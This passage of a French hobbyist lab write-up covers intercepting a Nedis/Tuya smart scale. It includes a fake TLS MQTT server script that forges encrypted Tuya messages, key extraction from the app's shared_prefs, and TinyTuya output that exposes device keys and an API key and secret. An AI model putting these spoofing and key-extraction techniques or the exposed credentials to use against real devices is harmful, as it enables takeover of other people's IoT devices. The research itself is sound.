&lt;br /&gt;
                    time.sleep(0.5)&lt;br /&gt;
&lt;br /&gt;
                    json_payload = json.dumps(PAYLOAD_POIDS)&lt;br /&gt;
                    topic_bytes = pub_topic.encode()&lt;br /&gt;
&lt;br /&gt;
                    var_header = struct.pack(&amp;quot;!H&amp;quot;, len(topic_bytes)) + topic_bytes&lt;br /&gt;
                    packet_payload = var_header + json_payload.encode()&lt;br /&gt;
&lt;br /&gt;
                    # PUBLISH QoS 1&lt;br /&gt;
                    packet = create_mqtt_packet(3, 0x02, packet_payload)&lt;br /&gt;
                    conn.send(packet)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;Payload envoyé (NON chiffré)&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                # PINGREQ&lt;br /&gt;
                elif pkt_type == 12:&lt;br /&gt;
                    conn.send(b&amp;quot;\xd0\x00&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                else:&lt;br /&gt;
                    print(f&amp;quot;Packet MQTT type {pkt_type} ignoré&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        except Exception as e:&lt;br /&gt;
            print(f&amp;quot;Erreur connexion : {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        finally:&lt;br /&gt;
            try:&lt;br /&gt;
                conn.close()&lt;br /&gt;
            except:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    start_server()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On cherche dans le fichier shared_prefs situé dans /data/data/com.nedis.smartlife sur la VM android une clé local qui permettrai de chiffrer le message pour que Nedis l'accepte.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
 emulator64_x86_64_arm64:/data/data/com.nedis.smartlife/shared_prefs # grep -r &amp;quot;localKey&amp;quot;&lt;br /&gt;
&lt;br /&gt;
./sig_mesh_storage.xml:    &amp;lt;string name=&amp;quot;sig_mesheu176237y8062605m7Ddzpr3a6d803edeb314f364c55d2caab540918&amp;quot;&amp;gt;[{&amp;amp;quot;appkey&amp;amp;quot;:&amp;amp;quot;2FC5C9F42A44F9D243F960231C370DC6&amp;amp;quot;,&amp;amp;quot;code&amp;amp;quot;:&amp;amp;quot;mebf11e37fc6632a9b44qg&amp;amp;quot;,&amp;amp;quot;endTime&amp;amp;quot;:0,&amp;amp;quot;ivIndex&amp;amp;quot;:0,&amp;amp;quot;key&amp;amp;quot;:&amp;amp;quot;mebf11e37fc6632a9b44qg&amp;amp;quot;,&amp;amp;quot;localKey&amp;amp;quot;:&amp;amp;quot;674d29fb978a1705&amp;amp;quot;,&amp;amp;quot;meshId&amp;amp;quot;:&amp;amp;quot;mebf11e37fc6632a9b44qg&amp;amp;quot;,&amp;amp;quot;meshKey&amp;amp;quot;:&amp;amp;quot;2FC5C9F42A44F9D243F960231C370DC6&amp;amp;quot;,&amp;amp;quot;meshkey&amp;amp;quot;:&amp;amp;quot;2FC5C9F42A44F9D243F960231C370DC6&amp;amp;quot;,&amp;amp;quot;name&amp;amp;quot;:&amp;amp;quot;D8FBEEA2F2B93F4B63EFD7DA83424BA9&amp;amp;quot;,&amp;amp;quot;netWorkkey&amp;amp;quot;:&amp;amp;quot;D8FBEEA2F2B93F4B63EFD7DA83424BA9&amp;amp;quot;,&amp;amp;quot;password&amp;amp;quot;:&amp;amp;quot;fa1667ca872e46d4&amp;amp;quot;,&amp;amp;quot;pv&amp;amp;quot;:&amp;amp;quot;2.1&amp;amp;quot;,&amp;amp;quot;resptime&amp;amp;quot;:0,&amp;amp;quot;share&amp;amp;quot;:false,&amp;amp;quot;startTime&amp;amp;quot;:0,&amp;amp;quot;tempShare&amp;amp;quot;:false}]&amp;lt;/string&amp;gt; &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Je vais apprendre plus tard que cette clé est une clé qui permet de sécuriser l'échange Bluetooth entre la balance et le téléphone lors de la première connexion. Mais avant de le savoir, j'ai tenté d'améliorer le faux serveur avec cette clé.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
import time&lt;br /&gt;
import json&lt;br /&gt;
import struct&lt;br /&gt;
import base64&lt;br /&gt;
import hashlib&lt;br /&gt;
from Crypto.Cipher import AES&lt;br /&gt;
from Crypto.Util.Padding import pad&lt;br /&gt;
&lt;br /&gt;
# ================= CONFIG =================&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/ssl/apache/ssl/tuya.crt&amp;quot;&lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/ssl/apache/ssl/tuya.key&amp;quot;&lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
# LOCAL KEY 16 caractères&lt;br /&gt;
LOCAL_KEY = b&amp;quot;674d29fb978a1705&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# DPS balance (poids correct pour Nedis)&lt;br /&gt;
DPS_POIDS = {&lt;br /&gt;
    &amp;quot;1&amp;quot;: 8050,   # 80.50 kg&lt;br /&gt;
    &amp;quot;2&amp;quot;: 1,      # stable&lt;br /&gt;
    &amp;quot;3&amp;quot;: &amp;quot;kg&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
# =========================================&lt;br /&gt;
&lt;br /&gt;
# ---------- TUYA CRYPTO ----------&lt;br /&gt;
def tuya_encrypt(data: dict, local_key: bytes) -&amp;gt; str:&lt;br /&gt;
    raw = json.dumps(data, separators=(',', ':')).encode()&lt;br /&gt;
    cipher = AES.new(local_key, AES.MODE_ECB)&lt;br /&gt;
    encrypted = cipher.encrypt(pad(raw, 16))&lt;br /&gt;
    return base64.b64encode(encrypted).decode()&lt;br /&gt;
&lt;br /&gt;
def tuya_sign(enc_data: str, ts: int, local_key: bytes) -&amp;gt; str:&lt;br /&gt;
    s = f&amp;quot;data={enc_data}&amp;amp;t={ts}&amp;amp;key={local_key.decode()}&amp;quot;&lt;br /&gt;
    return hashlib.md5(s.encode()).hexdigest()&lt;br /&gt;
&lt;br /&gt;
def build_tuya_payload(dps: dict, device_id: str) -&amp;gt; dict:&lt;br /&gt;
    ts = int(time.time())&lt;br /&gt;
    enc = tuya_encrypt({&lt;br /&gt;
        &amp;quot;devId&amp;quot;: device_id,&lt;br /&gt;
        &amp;quot;dps&amp;quot;: dps&lt;br /&gt;
    }, LOCAL_KEY)&lt;br /&gt;
    sign = tuya_sign(enc, ts, LOCAL_KEY)&lt;br /&gt;
    return {&lt;br /&gt;
        &amp;quot;protocol&amp;quot;: 4,&lt;br /&gt;
        &amp;quot;t&amp;quot;: ts,&lt;br /&gt;
        &amp;quot;data&amp;quot;: enc,&lt;br /&gt;
        &amp;quot;sign&amp;quot;: sign&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
def extract_device_id(topic: str) -&amp;gt; str:&lt;br /&gt;
    return topic.split(&amp;quot;/&amp;quot;)[-1]&lt;br /&gt;
&lt;br /&gt;
# ---------- MQTT UTILS ----------&lt;br /&gt;
def encode_remaining_length(length):&lt;br /&gt;
    out = bytearray()&lt;br /&gt;
    while True:&lt;br /&gt;
        byte = length % 128&lt;br /&gt;
        length //= 128&lt;br /&gt;
        if length &amp;gt; 0:&lt;br /&gt;
            byte |= 0x80&lt;br /&gt;
        out.append(byte)&lt;br /&gt;
        if length == 0:&lt;br /&gt;
            break&lt;br /&gt;
    return out&lt;br /&gt;
&lt;br /&gt;
def create_mqtt_packet(pkt_type, flags, payload):&lt;br /&gt;
    header = bytes([(pkt_type &amp;lt;&amp;lt; 4) | flags])&lt;br /&gt;
    return header + encode_remaining_length(len(payload)) + payload&lt;br /&gt;
&lt;br /&gt;
# ---------- SERVER ----------&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
&lt;br /&gt;
    sock = socket.socket()&lt;br /&gt;
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    sock.bind((&amp;quot;0.0.0.0&amp;quot;, PORT))&lt;br /&gt;
    sock.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;[*] Serveur MQTT TLS Tuya prêt sur {PORT}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    published_topics = set()&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        client, addr = sock.accept()&lt;br /&gt;
        print(f&amp;quot;\n[+] Connexion de {addr[0]}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        try:&lt;br /&gt;
            conn = context.wrap_socket(client, server_side=True)&lt;br /&gt;
            print(&amp;quot;TLS OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
            while True:&lt;br /&gt;
                header = conn.recv(1)&lt;br /&gt;
                if not header:&lt;br /&gt;
                    break&lt;br /&gt;
&lt;br /&gt;
                pkt_type = header[0] &amp;gt;&amp;gt; 4&lt;br /&gt;
&lt;br /&gt;
                # Remaining length&lt;br /&gt;
                multiplier = 1&lt;br /&gt;
                remaining_len = 0&lt;br /&gt;
                while True:&lt;br /&gt;
                    b = conn.recv(1)[0]&lt;br /&gt;
                    remaining_len += (b &amp;amp; 127) * multiplier&lt;br /&gt;
                    multiplier *= 128&lt;br /&gt;
                    if not (b &amp;amp; 128):&lt;br /&gt;
                        break&lt;br /&gt;
&lt;br /&gt;
                payload = b&amp;quot;&amp;quot;&lt;br /&gt;
                while len(payload) &amp;lt; remaining_len:&lt;br /&gt;
                    payload += conn.recv(remaining_len - len(payload))&lt;br /&gt;
&lt;br /&gt;
                # -------- HANDLERS --------&lt;br /&gt;
                if pkt_type == 1:  # CONNECT&lt;br /&gt;
                    print(&amp;quot;&amp;gt;&amp;gt;&amp;gt; CONNECT&amp;quot;)&lt;br /&gt;
                    conn.send(b&amp;quot;\x20\x02\x00\x00&amp;quot;)  # CONNACK OK&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 8:  # SUBSCRIBE&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    topic_len = struct.unpack(&amp;quot;!H&amp;quot;, payload[2:4])[0]&lt;br /&gt;
                    topic = payload[4:4+topic_len].decode(errors=&amp;quot;ignore&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;&amp;gt;&amp;gt;&amp;gt; SUBSCRIBE : {topic}&amp;quot;)&lt;br /&gt;
                    conn.send(create_mqtt_packet(9, 0x00, msg_id + b&amp;quot;\x01&amp;quot;))  # SUBACK QoS 1&lt;br /&gt;
&lt;br /&gt;
                    # Publication automatique&lt;br /&gt;
                    device_id = extract_device_id(topic)&lt;br /&gt;
                    tuya_payload = build_tuya_payload(DPS_POIDS, device_id)&lt;br /&gt;
                    json_payload = json.dumps(tuya_payload)&lt;br /&gt;
&lt;br /&gt;
                    topic_bytes = topic.encode()&lt;br /&gt;
                    var_header = struct.pack(&amp;quot;!H&amp;quot;, len(topic_bytes)) + topic_bytes&lt;br /&gt;
                    packet_payload = var_header + json_payload.encode()&lt;br /&gt;
&lt;br /&gt;
                    # PUBLISH QoS 1&lt;br /&gt;
                    packet = create_mqtt_packet(3, 0x02, packet_payload)&lt;br /&gt;
                    time.sleep(0.5)&lt;br /&gt;
                    conn.send(packet)&lt;br /&gt;
                    print(&amp;quot;POIDS TUYA CHIFFRÉ ENVOYÉ&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 4:  # PUBACK&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; PUBACK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 10:  # UNSUBSCRIBE&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    conn.send(create_mqtt_packet(11, 0x00, msg_id))&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; UNSUBACK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 12:  # PINGREQ&lt;br /&gt;
                    conn.send(b&amp;quot;\xd0\x00&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                else:&lt;br /&gt;
                    print(f&amp;quot;MQTT type {pkt_type} ignoré&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        except Exception as e:&lt;br /&gt;
            print(f&amp;quot;Erreur : {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        finally:&lt;br /&gt;
            try:&lt;br /&gt;
                conn.close()&lt;br /&gt;
            except:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    start_server()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Je pense que pour faire fonctionner cette méthode, il faut absolument que je trouve la clé qui crypte le message pour que Nedis l'accepte quand il le reçoit&lt;br /&gt;
&lt;br /&gt;
J'ai donc cherché dans cette direction et j'ai découvert deux choses. &lt;br /&gt;
&lt;br /&gt;
Premièrement, TinyTuya, une API Python pour les appareils intelligents Tuya (génial, Nedis utilise Tuya) WiFi utilisant une connexion directe au réseau local (LAN) ou le cloud (API TuyaCloud). TinyTuya permet entre autre de récupérer la fameuse clé.&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai découvert la plateforme IOT de Tuya qui permet, en connectant son application de téléphone sur le site, de jouer avec ses appareils Tuya pour une connexion avec Home Assisant ou encore ... TinyTuya !&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Spoiler alerte: J'ai du changer d'application et cette application ne tape plus sur la même adresse. Elle tape sur XX-eu.lifeaiot.com il a donc fallu refaire une redirection vers notre serveur pour ces nouvelles adresses.&lt;br /&gt;
&lt;br /&gt;
Spoiler alerte: j'ai la clé. Je parle plus de TinyTuya dans la prochaine partie car même avec cette clé, ce faux serveur ne marche pas. Je vais donc tenter d'autres pistes.&lt;br /&gt;
&lt;br /&gt;
== TinyTuya ==&lt;br /&gt;
Dans cette partie, nous allons tenter de connecter notre balance à notre faux serveur en utilisant l'utilitaire TinyTuya. Le but est de récupérer le poids de l'utilisateur de la balance lorsqu'il se pèse.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps il a fallu connecter l'appli à la platforme IOT de Tuya. L'application &amp;quot;Nedis Smartlife&amp;quot; de Nedis, qui utilise bien la même base que l'application Smartlife de Tuya (oui oui c'est le même nom…) ne veux pas se connecter à la plateforme pour une raison inexplicable (et au vu du nombre de forum qui parle du sujet, je ne suis pas le seul).&lt;br /&gt;
&lt;br /&gt;
J'ai donc du connecter ma balance sur l'appli Smartlife qui a bien voulu se connecter à la plateforme.&lt;br /&gt;
&lt;br /&gt;
Cela me permet de récupérer avec TinyTuya les périphériques&lt;br /&gt;
&lt;br /&gt;
Et je vais maintenant tenter d'expliquer le fonctionnement de TinyTuya étape par étape…&lt;br /&gt;
&lt;br /&gt;
Déjà pourquoi connecter l'application avec la plateforme IOT de Tuya --&amp;gt; Cela permet à l'appli de récupérer les appareils connectés de mon application, elle va générer un ID et une clé.&lt;br /&gt;
&lt;br /&gt;
Et comment faire pour que TinyTuya est accès aux appareils --&amp;gt; grâce à la commande &amp;lt;code&amp;gt;python -m tinytuya wizard&amp;lt;/code&amp;gt; qui va prendre l'ID et la clé pour récupérer les appareils. &lt;br /&gt;
&lt;br /&gt;
Ensuite la commande suivante va permettre à TinyTuya de détecter nos appareils qui sont effectivement connecté à notre réseau :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# python3 -m tinytuya devices &lt;br /&gt;
TinyTuya (Tuya device scanner) [1.17.4] Loaded devices.json - 1 devices: Device Listing [     &lt;br /&gt;
{         &lt;br /&gt;
&amp;quot;name&amp;quot;: &amp;quot;P\u00e8se pas que des personnes&amp;quot;,         &lt;br /&gt;
&amp;quot;id&amp;quot;: &amp;quot;84853100a4e57c162d4c&amp;quot;,         &lt;br /&gt;
&amp;quot;key&amp;quot;: &amp;quot;V[z^Gr|qekh]9z_&amp;gt;&amp;quot;,         &lt;br /&gt;
&amp;quot;mac&amp;quot;: &amp;quot;a4:e5:7c:16:2d:4c&amp;quot;,         &lt;br /&gt;
&amp;quot;uuid&amp;quot;: &amp;quot;84853100a4e57c162d4c&amp;quot;,         &lt;br /&gt;
&amp;quot;sn&amp;quot;: &amp;quot;10003702800241&amp;quot;,         &lt;br /&gt;
&amp;quot;category&amp;quot;: &amp;quot;qt&amp;quot;,         &lt;br /&gt;
&amp;quot;product_name&amp;quot;: &amp;quot;Personal Scale&amp;quot;,         &lt;br /&gt;
&amp;quot;product_id&amp;quot;: &amp;quot;arjciqapuueq9cvt&amp;quot;,         &lt;br /&gt;
&amp;quot;biz_type&amp;quot;: 18,         &lt;br /&gt;
&amp;quot;model&amp;quot;: &amp;quot;WIFIHS10WT&amp;quot;,         &lt;br /&gt;
&amp;quot;sub&amp;quot;: false,         &lt;br /&gt;
&amp;quot;icon&amp;quot;: &amp;quot;https://images.tuyaeu.com/smart/icon/ay1513237774906SMBA3/1652104387fa2f735a389.png&amp;quot;,         &lt;br /&gt;
&amp;quot;mapping&amp;quot;: {}     } ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et la, magie, on obtient la clé de la balance, on va pouvoir enfin récupérer le poids de notre utilisateur grâce à ce code python qui écoute la balance:&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import tinytuya&lt;br /&gt;
&lt;br /&gt;
DEVICE_ID = '84853100a4e57c162d4c'&lt;br /&gt;
IP_ADDRESS = '172.16.10.105'&lt;br /&gt;
LOCAL_KEY = 'V[z^Gr|qekh]9z_&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
# Connexion à l'appareil&lt;br /&gt;
d = tinytuya.Device(DEVICE_ID, IP_ADDRESS, LOCAL_KEY)&lt;br /&gt;
&lt;br /&gt;
d.set_version(3.3)&lt;br /&gt;
&lt;br /&gt;
# Récupérer le statut&lt;br /&gt;
data = d.status() &lt;br /&gt;
print(&amp;quot;Statut complet :&amp;quot;, data)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Évidemment cela ne fonctionne pas. Et pourquoi ? Et bien si l'on regarde dans le bloc &amp;lt;code&amp;gt;python3 -m tinytuya devices TinyTuya&amp;lt;/code&amp;gt; on observe que le champs mapping est vide. Ce champs est censé afficher toute les données que TinyTuya est censé pouvoir récupérer … et il est vide …&lt;br /&gt;
&lt;br /&gt;
Soit je suis à l'origine de ce problème, soit TinyTuya ne permet de changer nous ampoules connecté en rouge si la balance affiche que notre objectif de poids est dépassé …&lt;br /&gt;
&lt;br /&gt;
Affaire à suivre.&lt;br /&gt;
&lt;br /&gt;
TODO : ne marche pas en local ? tenter d'enlever la redirection&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# python3 -m tinytuya wizard -force&lt;br /&gt;
TinyTuya Setup Wizard [1.17.4]&lt;br /&gt;
&lt;br /&gt;
    Existing settings:&lt;br /&gt;
        API Key=g5wufknjhcwqkkpsrgug &lt;br /&gt;
        Secret=edac1effd9374f50b6c61ddd2ea1e734&lt;br /&gt;
        DeviceID=84853100a4e57c162d4c&lt;br /&gt;
        Region=eu&lt;br /&gt;
&lt;br /&gt;
    Use existing credentials (Y/n): &lt;br /&gt;
&lt;br /&gt;
Download DP Name mappings? (Y/n): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Device Listing&lt;br /&gt;
&lt;br /&gt;
[&lt;br /&gt;
    {&lt;br /&gt;
        &amp;quot;name&amp;quot;: &amp;quot;D\u00e9tecteur de fum\u00e9e&amp;quot;,&lt;br /&gt;
        &amp;quot;id&amp;quot;: &amp;quot;86730270483fda3155d0&amp;quot;,&lt;br /&gt;
        &amp;quot;key&amp;quot;: &amp;quot;r@fAdR'PW~0O`v5@&amp;quot;,&lt;br /&gt;
        &amp;quot;mac&amp;quot;: &amp;quot;48:3f:da:31:55:d0&amp;quot;,&lt;br /&gt;
        &amp;quot;uuid&amp;quot;: &amp;quot;86730270483fda3155d0&amp;quot;,&lt;br /&gt;
        &amp;quot;sn&amp;quot;: &amp;quot;1000716370419B&amp;quot;,&lt;br /&gt;
        &amp;quot;category&amp;quot;: &amp;quot;ywbj&amp;quot;,&lt;br /&gt;
        &amp;quot;product_name&amp;quot;: &amp;quot;Smoke detector&amp;quot;,&lt;br /&gt;
        &amp;quot;product_id&amp;quot;: &amp;quot;inwnovped8h5aoaw&amp;quot;,&lt;br /&gt;
        &amp;quot;biz_type&amp;quot;: 18,&lt;br /&gt;
        &amp;quot;model&amp;quot;: &amp;quot;WIFIDS20WT&amp;quot;,&lt;br /&gt;
        &amp;quot;sub&amp;quot;: false,&lt;br /&gt;
        &amp;quot;icon&amp;quot;: &amp;quot;https://images.tuyaeu.com/smart/icon/ay1513237774906SMBA3/651af99cad24017128e3dc2322461ae5.png&amp;quot;,&lt;br /&gt;
        &amp;quot;mapping&amp;quot;: {&lt;br /&gt;
            &amp;quot;1&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;smoke_sensor_status&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Enum&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;range&amp;quot;: [&lt;br /&gt;
                        &amp;quot;alarm&amp;quot;,&lt;br /&gt;
                        &amp;quot;normal&amp;quot;&lt;br /&gt;
                    ]&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;14&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;battery_state&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Enum&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;range&amp;quot;: [&lt;br /&gt;
                        &amp;quot;low&amp;quot;,&lt;br /&gt;
                        &amp;quot;middle&amp;quot;,&lt;br /&gt;
                        &amp;quot;high&amp;quot;&lt;br /&gt;
                    ]&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    },&lt;br /&gt;
    {&lt;br /&gt;
        &amp;quot;name&amp;quot;: &amp;quot;P\u00e8se pas que des personnes&amp;quot;,&lt;br /&gt;
        &amp;quot;id&amp;quot;: &amp;quot;84853100a4e57c162d4c&amp;quot;,&lt;br /&gt;
        &amp;quot;key&amp;quot;: &amp;quot;V[z^Gr|qekh]9z_&amp;gt;&amp;quot;,&lt;br /&gt;
        &amp;quot;mac&amp;quot;: &amp;quot;a4:e5:7c:16:2d:4c&amp;quot;,&lt;br /&gt;
        &amp;quot;uuid&amp;quot;: &amp;quot;84853100a4e57c162d4c&amp;quot;,&lt;br /&gt;
        &amp;quot;sn&amp;quot;: &amp;quot;10003702800241&amp;quot;,&lt;br /&gt;
        &amp;quot;category&amp;quot;: &amp;quot;qt&amp;quot;,&lt;br /&gt;
        &amp;quot;product_name&amp;quot;: &amp;quot;Personal Scale&amp;quot;,&lt;br /&gt;
        &amp;quot;product_id&amp;quot;: &amp;quot;arjciqapuueq9cvt&amp;quot;,&lt;br /&gt;
        &amp;quot;biz_type&amp;quot;: 18,&lt;br /&gt;
        &amp;quot;model&amp;quot;: &amp;quot;WIFIHS10WT&amp;quot;,&lt;br /&gt;
        &amp;quot;sub&amp;quot;: false,&lt;br /&gt;
        &amp;quot;icon&amp;quot;: &amp;quot;https://images.tuyaeu.com/smart/icon/ay1513237774906SMBA3/1652104387fa2f735a389.png&amp;quot;,&lt;br /&gt;
        &amp;quot;mapping&amp;quot;: {}&lt;br /&gt;
    }&lt;br /&gt;
]&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Saving list to devices.json&lt;br /&gt;
    2 registered devices saved&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Saving raw TuyaPlatform response to tuya-raw.json&lt;br /&gt;
&lt;br /&gt;
Poll local devices? (Y/n): &lt;br /&gt;
&lt;br /&gt;
Scanning local network for Tuya devices...&lt;br /&gt;
Scan network 172.16.10.0/24 from interface eth0? ([Y]es/[n]o/[a]ll yes): &lt;br /&gt;
Scan network 172.26.145.0/24 from interface eth1? ([Y]es/[n]o/[a]ll yes): n&lt;br /&gt;
Scan network 172.26.145.0/24 from interface eth1? ([Y]es/[n]o/[a]ll yes): n&lt;br /&gt;
    0 local devices discovered                                   &lt;br /&gt;
&lt;br /&gt;
Polling local devices...&lt;br /&gt;
    [Détecteur de fumée       ] Error: No IP found&lt;br /&gt;
    [Pèse pas que des personne] Error: No IP found&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Saving device snapshot data to snapshot.json&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Done.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# python3 -m tinytuya wizard&lt;br /&gt;
TinyTuya Setup Wizard [1.17.4]&lt;br /&gt;
&lt;br /&gt;
    Existing settings:&lt;br /&gt;
        API Key=g5wufknjhcwqkkpsrgug &lt;br /&gt;
        Secret=edac1effd9374f50b6c61ddd2ea1e734&lt;br /&gt;
        DeviceID=84853100a4e57c162d4c&lt;br /&gt;
        Region=eu&lt;br /&gt;
&lt;br /&gt;
    Use existing credentials (Y/n): n&lt;br /&gt;
&lt;br /&gt;
    Enter API Key from tuya.com: g5wufknjhcwqkkpsrgug&lt;br /&gt;
    Enter API Secret from tuya.com: edac1effd9374f50b6c61ddd2ea1e734&lt;br /&gt;
    Enter any Device ID currently registered in Tuya App (used to pull full list) or 'scan' to scan for one: bf85da6b2eccef5784rydz&lt;br /&gt;
&lt;br /&gt;
      Region List&lt;br /&gt;
        cn	China Data Center (alias: AY)&lt;br /&gt;
        us	US - Western America Data Center (alias: AZ)&lt;br /&gt;
        us-e	US - Eastern America Data Center (alias: UE)&lt;br /&gt;
        eu	Central Europe Data Center&lt;br /&gt;
        eu-w	Western Europe Data Center (alias: WE)&lt;br /&gt;
        in	India Data Center&lt;br /&gt;
        sg	Singapore Data Center&lt;br /&gt;
&lt;br /&gt;
    Enter Your Region (Options: cn, us, us-e, eu, eu-w, in, or sg): eu&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Configuration Data Saved to tinytuya.json&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;apiKey&amp;quot;: &amp;quot;g5wufknjhcwqkkpsrgug&amp;quot;,&lt;br /&gt;
    &amp;quot;apiSecret&amp;quot;: &amp;quot;edac1effd9374f50b6c61ddd2ea1e734&amp;quot;,&lt;br /&gt;
    &amp;quot;apiRegion&amp;quot;: &amp;quot;eu&amp;quot;,&lt;br /&gt;
    &amp;quot;apiDeviceID&amp;quot;: &amp;quot;bf85da6b2eccef5784rydz&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Download DP Name mappings? (Y/n): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Device Listing&lt;br /&gt;
&lt;br /&gt;
[&lt;br /&gt;
    {&lt;br /&gt;
        &amp;quot;name&amp;quot;: &amp;quot;Ampoule Connect\u00e9e&amp;quot;,&lt;br /&gt;
        &amp;quot;id&amp;quot;: &amp;quot;bf85da6b2eccef5784rydz&amp;quot;,&lt;br /&gt;
        &amp;quot;key&amp;quot;: &amp;quot;ZO:}y#{'gM.QuI|T&amp;quot;,&lt;br /&gt;
        &amp;quot;mac&amp;quot;: &amp;quot;10:5a:17:a9:b5:6f&amp;quot;,&lt;br /&gt;
        &amp;quot;uuid&amp;quot;: &amp;quot;b73f1a854ac4219e&amp;quot;,&lt;br /&gt;
        &amp;quot;sn&amp;quot;: &amp;quot;830-2-20148D&amp;quot;,&lt;br /&gt;
        &amp;quot;category&amp;quot;: &amp;quot;dj&amp;quot;,&lt;br /&gt;
        &amp;quot;product_name&amp;quot;: &amp;quot;Smart bulb&amp;quot;,&lt;br /&gt;
        &amp;quot;product_id&amp;quot;: &amp;quot;mdzqw8qjfzfdjz9n&amp;quot;,&lt;br /&gt;
        &amp;quot;biz_type&amp;quot;: 18,&lt;br /&gt;
        &amp;quot;model&amp;quot;: &amp;quot;WIFILRW10E27&amp;quot;,&lt;br /&gt;
        &amp;quot;sub&amp;quot;: false,&lt;br /&gt;
        &amp;quot;icon&amp;quot;: &amp;quot;https://images.tuyaeu.com/smart/icon/ay1513237774906SMBA3/9a70929a5f5c1855c1c091ab404b8319.png&amp;quot;,&lt;br /&gt;
        &amp;quot;mapping&amp;quot;: {&lt;br /&gt;
            &amp;quot;20&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;switch_led&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Boolean&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {}&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;21&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;work_mode&amp;quot;,&lt;br /&gt;
